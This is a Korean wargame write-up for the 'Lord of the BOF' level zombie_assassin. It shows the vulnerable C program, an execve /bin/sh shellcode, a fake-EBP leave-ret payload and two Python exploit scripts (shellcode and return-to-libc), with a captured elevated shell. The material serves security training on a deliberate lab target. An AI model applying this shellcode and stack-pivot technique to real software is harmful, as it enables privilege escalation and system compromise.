[LOB]Level16. zombie_assassin

 

Fake EBP

/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	// strncpy instead of strcpy!
	strncpy(buffer, argv[1], 48);
	printf("%s\n", buffer);
}

0x01. Analysis & Exploit

분기문을 통해서 ‘\xbf’, ‘\x40’ 으로 시작하는 주소들을 모두 필터링 된다.

[assassin@localhost assassin]$ cat /proc/751/maps
08048000-0817d000 r-xp 00000000 08:05 129443     /usr/bin/gdb
0817d000-08184000 rw-p 00134000 08:05 129443     /usr/bin/gdb
08184000-0850f000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 08:08 34138      /lib/ld-2.1.3.so
40013000-40014000 rw-p 00012000 08:08 34138      /lib/ld-2.1.3.so
40014000-40018000 rw-p 00000000 00:00 0
40018000-4004d000 r-xp 00000000 08:05 96962      /usr/lib/libncurses.so.4.0
4004d000-40056000 rw-p 00034000 08:05 96962      /usr/lib/libncurses.so.4.0
40056000-4005a000 rw-p 00000000 00:00 0
4005a000-40076000 r-xp 00000000 08:08 34156      /lib/libm-2.1.3.so
40076000-40077000 rw-p 0001b000 08:08 34156      /lib/libm-2.1.3.so
40077000-40164000 r-xp 00000000 08:08 34145      /lib/libc-2.1.3.so
40164000-40168000 rw-p 000ec000 08:08 34145      /lib/libc-2.1.3.so
40168000-4016c000 rw-p 00000000 00:00 0
4016c000-40182000 r--p 00000000 08:05 32279      /usr/share/locale/en_US/LC_CTYPE
40182000-40290000 rw-p 00000000 00:00 0
bfffb000-c0000000 rwxp ffffc000 00:00 0

Shellcode를 이용한 공격

shellcode(24byte) :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

payload 시나리오 :

./zombie_assassin `python -c print "&[buf+4]"+"shellcode(24byte)"+"\x90"*12+"&[buf-4]"+"&leave-ret 가젯"

&[buf-4] : 0xbffffc5c

&buf : 0xbffffc60

&[buf+4] : 0xbffffc64

&leave-ret : 0x080484df

gdb 통해 얻은 buf의 주소와 실제 구동되는 buf의 주소가 0x10주소 만큼 차이가 나서 삽질을 많이 했다.

=> core 덤프를 통해서 알아낸 주소가 buffer 주소가 아닌 main함수 인자값 주소였다. 생각없이 ‘x/100x $esp’ 로 흩어 보면서 찾았는데, x/100x $esp-100 으로 윗부분을 보니 buffer가 존재함;;

=> 소스코드를 복사하여 printf(“%p”, buffer); 를 추가하여 제대로된 주소를 구하는 방법도 있음.

leave-ret 을 이용하여 fakeEBP기법을 사용하면 esp가 buf+4 로 이동하기 때문에 buf-4의 주소를 넣어주어야 실제 buf 주소가 실행된다.

eip에는 shellcode가 있는 시작 주소가 들어가야 하기 때문에, buf시작 부분에 shellcode의 시작 주소를 넣어주었다.

Payload
./zombie_assassin `python -c 'print "\x64\xfc\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*12+"\x5c\xfc\xff\xbf"+"\xdf\x84\x04\x08"'`
릱릱?@?@廈@릱릱릱릱릱릱릱릱릱릱릱릱`?욀?   ☻
bash$ id
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
bash$ my-pass
euid = 516
no place to hide

python
import os
import struct

append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)

target = "/home/assassin/zombie_assassin"

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

buffer_addr = 0xbffffc60
shellcode_addr = buffer_addr + 4
fake_ebp = buffer_addr - 4
leave_ret = 0x080484df

payload = p32(shellcode_addr)
payload = append(shellcode)
payload = append("\x90"*(40-4-24))
payload = append(p32(fake_ebp))
payload = append(p32(leave_ret))

pid = os.fork()
if pid == 0:
        os.execv(target, (target, payload))
else:
        os.waitpid(pid, 0)

RTL
import os
import struct

append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)

target = "/home/assassin/zombie_assassin"

buffer_addr = 0xbffffc40
fake_ebp = buffer_addr - 4

libc_addr = 0x40018000
binsh_offset = 0xe3ff9
binsh_addr = libc_addr + binsh_offset

system_addr = 0x40058ae0
leave_ret_gadjet = 0x80484df
exit_addr = 0x400391e0

payload = p32(system_addr)                      # buffer[40]
payload = append(p32(exit_addr))
payload = append(p32(binsh_addr))
payload = append("\x90"*(40-12))
payload = append(p32(fake_ebp))                 # sfp
payload = append(p32(leave_ret_gadjet))         # ret

pid = os.fork()
if pid == 0:
        os.execv(target, (target, payload))
else:
        os.waitpid(pid, 0)